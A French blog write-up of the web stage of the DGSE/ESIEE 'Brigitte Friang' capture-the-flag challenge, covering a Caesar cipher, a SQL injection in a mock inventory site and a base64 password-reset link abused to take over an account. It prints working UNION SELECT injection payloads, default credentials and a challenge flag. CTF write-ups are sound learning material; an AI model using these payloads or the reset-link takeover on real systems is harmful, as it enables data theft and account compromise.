Challenge Brigitte Friang : Write-up catégorie web (solutions) 1/3


Il y a un an et demi avec mon collègue Charles-Henri nous avions décidé de tenter le challenge Richelieu de la DGSE. Cette année la DGSE en partenariat avec l’ESIEE a proposé le challenge Brigitte Friang. 

Cette série d’articles vous propose un regroupement des Write-Up (version rédigée des solutions) des épreuves que j’ai réussies. La lecture de cet article de bout en bout vous donnera un aperçu de mon cheminement pendant le déroulement du challenge, mais vous pouvez tout aussi bien regarder uniquement les épreuves qui vous intéressent. J’ai indiqué le type d’épreuve à côté de leur titre.

Voici donc le premier article de la série.


Étape 1

Le démarrage est assez simple et classique.

En allant sur la page https://www.challengecybersec.fr/ et en consultant les sources, on tombe rapidement sur quelque chose d’intéressant.

Allons donc sur cette page…


Étape 2

Le texte est étrange, l’avantage est que le titre de la page web étant “Cesar”, cela nous donne déjà une bonne idée de la marche à suivre. Il va falloir tester un chiffrement par décalage.

Le mot j'lza dans le texte nous donne un bon indice du décalage, vu la structure il y a de grandes chances qu’il se traduise par c'est, soit un décalage de 7.

Pour le traduire on sauvegarde le texte dans un fichier etape2.txt.cipher et on lance la commande :

cat etape2.txt.cipher | tr 'A-Za-z' 'T-ZA-St-za-s' > etape2.txt

Fichier etape2.txt

Si vous parvenez a lire ce message, c'est que vous pouvez rejoindre l’operation «Brigitte Friang». Rejoignez-nous rapidement.

Brigitte Friang est une resistante, journaliste et ecrivaine francaise. Elle est nee le 23/01/1924 a Paris, elle a 19 ans sous l'occupation lorsqu'elle est recrutee puis formee comme secretaire/chiffreuse par un agent du BCRA, Jean-Francois Clouet des Perruches alias Galilee chef du Bureau des operations aeriennes (BOA) de la Region M (Cote du Nord, Finistere, Indre et Loire, Orne, Sarthe, Loire inferieure, Maine et Loire, Morbihan, Vendee). Brigitte Friang utilise parfois des foulards pour cacher des codes. Completez l’URL avec l’information qui est cachee dans ce message.

Suite a l’arrestation et la trahison de Pierre Manuel, Brigitte Friang est arretee par la Gestapo. Elle est blessee par balle en tentant de s’enfuir et est conduite a l’Hopital de la Pitie. Des resistants tenteront de la liberer mais sans succes. Elle est torturee et ne donnera pas d'informations. N’oubliez pas la barre oblique. Elle est ensuite envoyee dans le camp de Ravensbruck.

Apres son retour de deportation, elle participe a la creation du Rassemblement du peuple français (RPF). Elle integre la petite equipe, autour d'Andre Malraux, qui va preparer le discours fondateur de Strasbourg en 1947 et les elections legislatives de 1951.

Elle rentre a l'ORTF, et devient correspondante de guerre. Elle obtient son brevet de saut en parachute et accompagne des commandos de parachutistes en operation durant la guerre d’Indochine. Elle raconte son experience dans Les Fleurs du ciel (1955). D'autres agents sont sur le coup au moment ou je vous parle. Les meilleurs d'entre vous se donneront rendez-vous a l'European Cyberweek a Rennes pour une remise de prix. Resolvez le plus d'epreuves avant la fin de cette mission et tentez de gagner votre place parmi l'elite! Par la suite, elle couvre l’expedition de Suez, la guerre des Six Jours et la guerre du Viet Nam. Elle prend position en faveur d'une autonomie du journalisme dans le service public ce qui lui vaut d'etre licenciee de l'ORTF.

Elle ecrit plusieurs livres et temoigne de l'engagement des femmes dans la Resistance.

Le message contient a priori des informations cachées.

Si on regarde la page html, on remarque que certains caractères sont en gras,

entourés de balises <b>. Il s’agit des caractères `/`, `j`, `o`, `h`, `a`.

Si on les traduit comme le reste du texte on obtient `/chat`

L’étape 3 est donc sur https://www.challengecybersec.fr/chat


Étape 3

L’étape 3 nous donne accès à un autre challenge avec différentes catégories d’épreuves :

  • Crypto
  • Web
  • Algo
  • Forensic

Nous allons commencer par la catégorie Web…


Web

Stockos – SQL Injection

La page indiquée dans le message, nous envoie sur un site web classique avec l’indication que les identifiants ne sont pas très originaux…

Après quelques tests, on trouve facilement login/mdp : admin/admin.

On parcourt rapidement l’application et on voit que la page Gestion des stocks comporte un champ vulnérable aux injections SQL.

En utilisant successivement ces requêtes, on peut trouver l’email qui nous intéresse.

  • Premier test d’injection permettant de s’assurer que la requête d’origine comporte 5 champs : 

' UNION SELECT 1,2,3,4,'1%

  • Liste des tables du schéma :

' UNION SELECT 1,2,3,4,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='stockos' or table_name='

  • Liste des colonnes de la table customer qui est celle qui nous intéresse : 

' UNION SELECT 1,2,3,4,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='customer' or table_name='

  • Liste des emails présents dans la table customer : 

' UNION SELECT 1,2,3,4,GROUP_CONCAT(email) FROM stockos.customer WHERE 1=1 or name='

Cette dernière requête nous permet d’identifier l’email de l’agent : agent.malice@secret.evil.gov.ev

Evil Air – Web exploit

On arrive alors sur la seconde partie de cette catégorie Web.

Il nous faut “Réserver le vol ABDJI6 du 26/10/2020 au 28/10/2020 de Bad City à Evil City.” 

Pour commencer, on crée un compte sur la plateforme, avec un mail temporaire (merci https://temp-mail.org/fr/). On voit alors que le lien d’activation envoyé par mail est assez simple.

Exemple pour mon mail babise3108@ezeca.com :

http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/activate/YmFiaXNlMzEwOEBlemVjYS5jb20=

On voit que la dernière partie du lien est simplement le mail encodé en base64. Cela laisse penser que le lien de récupération de mot de passe pourrait être assez simple à exploiter…

Le lien reçu est http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/reset/YmFiaXNlMzEwOEBlemVjYS5jb20=

Bingo ! La dernière partie du lien est simplement le mail encodé en base64. Nous allons donc pouvoir modifier le mot de passe de l’utilisateur correspondant au mail trouvé précédemment avec le lien suivant :

$ echo -n "agent.malice@secret.evil.gov.ev" | base64

YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==

On commence donc par cliquer sur le lien mot de passe oublié, ensuite on accède à la page de réinitialisation de mot de passe via ce lien :

http://challengecybersec.fr/35e334a1ef338faf064da9eb5f861d3c/reset/YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==

Cela nous permet de récupérer le mot de passe Superlongpassword666, qu’on va utiliser pour se connecter.

Il est alors possible d’afficher la liste des réservation et de retrouver le QRCode qui sert de flag. Une fois décodé le QRCode nous donne le flag :

DGSESIEE{2cd992f9b2319860ce3a35db6673a9b8}

Capture réseau – Forensic

La validation du flag précédent nous permet de récupérer un fichier capture.pcap. Il s’agit d’une capture réseau à analyser pour trouver des informations concernant le convoi.

Pour l’analyser, on va ouvrir Wireshark.

On voit que l’échange passe rapidement en TLS.


À ce stade j’avais quelques pistes, notamment liées au fait que l’empreinte du certificat soit en SHA1 ce qui laisse penser à une mauvaise ou trop ancienne configuration TLS, mais j’ai préféré me concentrer sur les autres catégories.

Une connaissance a réussi cette partie en identifiant que l’algorithme utilisé pour l’échéance TLS présente des faiblesses permettant de déchiffrer l’échange. Bravo à lui !

De mon côté, je ne suis pas allé plus loin dans cette catégorie, mais je vous propose de voir la catégorie Algorithme dans le prochain article de cette série !


Découvrez nos formations Sécurité


Laisser un commentaire

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.

%d blogueurs aiment cette page :